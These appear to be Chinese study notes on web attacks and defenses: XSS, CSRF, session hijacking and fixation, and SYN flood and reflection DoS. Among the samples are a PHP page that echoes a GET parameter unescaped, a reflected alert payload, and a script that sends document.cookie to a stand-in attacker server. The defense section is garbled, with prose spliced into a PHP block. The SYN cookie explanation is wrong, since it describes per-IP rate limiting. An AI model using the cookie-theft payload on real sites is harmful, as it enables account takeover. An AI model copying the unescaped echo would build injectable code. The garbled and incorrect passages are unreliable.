跨站脚本攻击(XSS Cross Site Script)
一、定义:黑客通过“HTML注入”篡改了网页,插入了恶意的脚本,从而在用户游览网页时,控制用户游览器攻击的一种行为。 二、分类: 1. 反射性XSS:把用户输入的数据反射给游览器(诱使用户“点击”一个恶意的链接)篡改链接->用户访问->跳转执行脚本<?php
echo $_GET["test"];
?>
用户提交:ip?test=<script>alert("test")</script>。游览器即会执行相应的脚本
2. 存储型XSS:把用户输入的数据“存储”在服务器端。如黑客上传含有恶意Js代码的博客文章到网站服务器,访客游览网页博客时,在他们的游览器中恶意执行这段代码
3. DOM Base XSS:通过修改网页DOM节点形成的XSS。当网站通过表单让用户输入内容而实现动态修改网页DOM节点的交互功能时,若黑客恶意构造特定格式脚本内容,就可能造成DOM Base XSS。
三、危害
1. XSS可实现cookie劫持:攻击者可直接利用注入的js脚本获取cookie,进而通过异步请求把标识session id的cookie上报给攻击者。 比如可以在网站上嵌入<script>window.open('hackerSever?msg='+document.cookie)</script>。将用户cookie发送至攻击者的服务器,服务器获取用户cookie,攻击者即可利用其登录到用户账户中。 2. 通过模拟GET、POST请求操作用户的游览器。如在用户登录邮箱后获取其邮件信息。(先通过正常抓包获取相应访问链接及其请求内容,再通过模拟请求获取)
3. XSS钓鱼
(1)XSS重定向钓鱼(XSS Redirect Phishing):将当前页面重定向到仿冒正常网站的页面中,进行欺诈活动
(2)HTML注入式钓鱼(XSS HTML Inject Phishing):如动态嵌入一个Form表单,诱使用户填写相应信息进行盗取
(3)XSS 跨框架钓鱼(Iframe Phishing):通过<Iframe>标签嵌入远程域的一个页面实施钓鱼。,而此时主页面依然处在正常网站的域名下,因此具有很高的迷惑性。 四、XSS的防御
1. 设置HttpOnly->防御Cookie劫持攻击,如果Cookie设置了HttpOnly,JS就读取不到Cookie的值。HttpOnly在服务器第一次返回发送Set-Cookie时(同时向客户端游览器写入Cookie)标记,它可以选择性地加在任何一个Cookie上
<?php2.输入检查(XSS Filter):如对特殊符号进行转义,特殊语句进行检查过滤等。尤其对于富文本(用户提交一些自定义的HTML代码)“事件“应该被严格禁止,同时也应包括一些比较危险的标签如<iframe>、<script>、<base>、<form>等。
header("Set-Cookie : cookie1;")
header("Set-Cookie : cookie1;httponly", false);
?>
<script>
alert(document.cookie);
</script>
跨站点请求伪造(CSRF Cross Site Request Forgery)
一、 定义:攻击者盗用用户身份,并以用户身份发送恶意请求。CSRF攻击是源于WEB的隐式身份验证机制。WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。一般来说,完成一次攻击需经过两步:1.登录受信任网站A,并在本地生成Cookie。 2.在不登出A的情况下,访问危险网站B。二、CSRF的防御
1. 服务与客户端交互进行CSRF防御:先构造third-party Cookie。同时在表单中增加经过hashing的cookie值随表单提交发送到服务器,在服务器获取cookie和表单加密Cookie进行hash校验。 2. 验证码校验,用户每次提交请求需填写一个图片上的随机字符串,理论上可以完全解决CSRF的问题
3. One-Time Tokens(不同的表单包含一个不同的伪随机值),实现思路:
(1)编写token生成函数
(2)在每次生成表单时,调用token生成函数,增添隐藏域存储token,考虑到不同的表单包含一个不同的伪随机值,还需同时生成访问对应token的索引
(3)服务端核对token,表单提交时,服务端根据提交的索引获取Session域对应token,与提交的token进行核对。
注入攻击与Session认证
一、 注入攻击的本质,是把用户输入的数据当做代码执行。其中有两个关键点:
1、用户能够控制输入。
2、原本程序要执行的代码,平走了用户输入的数据
二、Session安全
当用户登录认证后,在服务器端就会创建一个新的会话(Session),会话中保存用户的状态和相关信息,同时生成一个游览器端对用户透明的凭证,即为SessionID
1、Session劫持:黑客通过窃取用户SessionID后,使用该SessionID登录进目标用户。
2、Session Fixation攻击:用户登录前后的SessionID未发生改变,就会存在此问题。具体的攻击过程为:攻击者先获取一个未认证的SessionID,并将其交给用户认证,若用户认证后,服务器并未更新此SessionID的值,攻击者就可以凭借此SessionID登录用户账户。如果SessionId保存在Cookie中,攻击者较难让用户使用这个SessionID,但如果由于youlan游览器不支持Cookie等原因,SessionID做为参数出现在URL时,攻击者只要诱使用户打开特定URL即可。而解决Session Fixation的正确做法,是在登录完成后,重写SessionID
3、Session保持攻击,一般来说,Session是有生命周期的,当用户长时间未活动,或者注销用户后,用户Session将会被销毁。但如果攻击者窃取并一直持有用户有效的Session(比如间隔性的刷新网页),就能一直使用用户的账户,形成Session保持攻击。
应用层拒绝服务攻击(DDOS Distributed Denial of Service)
拒绝服务攻击以消耗服务器端资源为目的,构造大量请求数据想服务器端发送请求。
在Sever收到SYN,seq后,处于半连接状态,发送数据包并等待Client回应,由于Client在短时间内伪造大量不存在的IP地址,并向Server不断地发送SYN包,Server回复确认包,并等待Client的确认,由于源地址是不存在的,因此,Server需要不断重发直至超时,这些伪造的SYN包将产时间占用未连接队列,导致正常的SYN请求因为队列满而被丢弃,从而引起网络堵塞甚至系统瘫痪
其中SYN Cookie是对抗SYN flood的主要措施之一,它的主要思想是为每一个IP地址分配一个"cookie",并统计每个IP地址的访问频率。如果在短时间内收到大量来自同一个IP地址的数据包,则认为受到攻击,之后来自这个IP地址的包将被丢弃。分布反射式拒绝服务(DRDOS)
攻击流程如下所示:
黑客伪造受害者id
->向大量服务器发送请求
->大量服务器响应请求(发送应答包)
->受害者主机忙于处理